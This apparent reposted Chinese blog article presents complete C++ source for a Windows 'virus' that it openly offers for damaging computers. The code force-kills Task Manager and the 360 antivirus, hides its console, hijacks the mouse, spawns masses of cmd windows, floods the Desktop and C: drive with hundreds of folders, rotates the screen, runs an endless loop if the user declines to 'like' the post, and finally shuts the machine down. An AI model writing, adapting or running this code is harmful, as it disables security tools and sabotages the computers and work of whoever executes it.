当前位置: 首页 > article >正文

C++病毒(^_^|)(2)

第二期

声明:

        仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。

直接上代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;

void lrud(int n=1){
	if(n==1){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_LEFT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	
	}else if(n==2){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_UP,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		
	}else if(n==3){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_RIGHT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		
	}else{
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_DOWN,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	
	}
}

void for_lrud(){
	for(int i=1;i<=4;i++){
		lrud(i);
	}
	lrud(2);
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
  	if (nCode == HCBT_ACTIVATE) {
    	HWND hMsgBox = (HWND)wParam;
        SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);
        UnhookWindowsHookEx(g_hHook);
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

string itos3(int n){
	int a,b,c;
	a=n/100;
	b=n%100/10;
	c=n%10;
	string s="";
	if(a!=0){
		char d=a+'0';
		s+=d;		
	}
	if(b!=0||(b==0&&a!=0)){
		char d=b+'0';
		s+=d;
	}
	if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){
		char d=c+'0';
		s+=d;
	}
	return s;
}

struct vir{
	struct wenjian{
		void xingshi(){
			system("taskkill /f /im taskmgr.exe");
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			if (hwnd){
				ShowOwnedPopups(hwnd, SW_HIDE);
			    ShowWindow(hwnd, SW_HIDE);
			}
			MessageBox(NULL,"新年新气象","古诗",MB_OK);
			MessageBox(NULL,"新年多上当","古诗",MB_OK);
			MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	
			MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	
			MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);
			MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);
			Sleep(2000);
			WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			
			HWND hw=FindWindow("360Safe.exe",NULL);
			if(hw!=NULL){
				ShowWindow(hw,SW_HIDE);
			}
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	
			Sleep(500);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			Sleep(4000);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);
			ShowOwnedPopups(hwnd, SW_HIDE);
			ShowWindow(hwnd, SW_HIDE);			
			int ll=10000;
			while(ll--){
				int cx=GetSystemMetrics(SM_CXSCREEN);
				int cy=GetSystemMetrics(SM_CYSCREEN);
				SetCursorPos(rand() % cx,rand() % cy);
			}
		}
		void vira(){
			xingshi();
			int ll=100;
			while(ll--){
				system("start cmd");
			}
			MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);
			Sleep(20000);
			MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			Sleep(20000);
			MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			
			int ii=100000;
			while(ii--){
				SetCursorPos(1,1);
			}
			MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);
			int iii=10000;
			while(iii--){
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);
			MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);
			for_lrud();
			MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);
			for(int i=1;i<=999;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
				string jjb="mkdir C:\\b";
				jjb+=itos3(i);
				system(jjb.data());	
			}			
			int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);
			if(pp==IDCANCEL){
				while(1){
					system("start cmd");
					srand(time(0));
					SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));
					lrud(rand()%4+1);
				}
			}
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			ShowOwnedPopups(hwnd, SW_SHOW);
			ShowWindow(hwnd, SW_SHOW);
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);
			system("shutdown -s");
		}
	}wen;
}virus;

int main(){
	virus.wen.vira();
}

危害极大,建议损害电脑:

禁用任务管理器,隐藏程序,鼠标乱飞,100个cmd,桌面100文件夹,鼠标控制,鼠标连点,折磨心态,C盘爆炸,随意谎骗,不点赞惩罚


http://www.kler.cn/a/543447.html

相关文章:

  • Vue3(2)
  • uniapp 编译生成鸿蒙正式app步骤
  • 使用epoll与sqlite3进行注册登录
  • 华为openEuler部署docker
  • Deepseek 接入Word处理对话框(隐藏密钥)
  • C++引用深度详解
  • 多机器人系统的大语言模型:综述
  • es-head 正则查询和标准正则查询的差异
  • flutter 中 ReceivePort 的 first 和 listen
  • Nginx 中的HTTP2
  • 网络安全ids是什么意思
  • 【C++】26.unordered_map和unordered_set的使用
  • 代码随想录算法【Day43】
  • 面试真题 | B站C++渲染引擎
  • DeepSeek元学习(Meta-Learning)基础与实践
  • 为AI聊天工具添加一个知识系统 之99 详细设计之40 Token 之5 函数式编程 :映射契约
  • 【论文阅读】Revisiting the Assumption of Latent Separability for Backdoor Defenses
  • 恒流源工作原理
  • 联合汽车电子嵌入式面试题及参考答案
  • Flink之Watermark
  • OpenSSH 降级操作指南
  • 前端到AI,LangChain.Js(二)
  • 麒麟信安系统隔核后iperf网络测试影响说明
  • e2studio开发RA4M2(12)----打印函数(printf、 sprintf)的实现
  • C++ 实践扩展(Qt Creator 联动 Visual Studio 2022)
  • OpenAI推出的Computer Use智能体:Operator是什么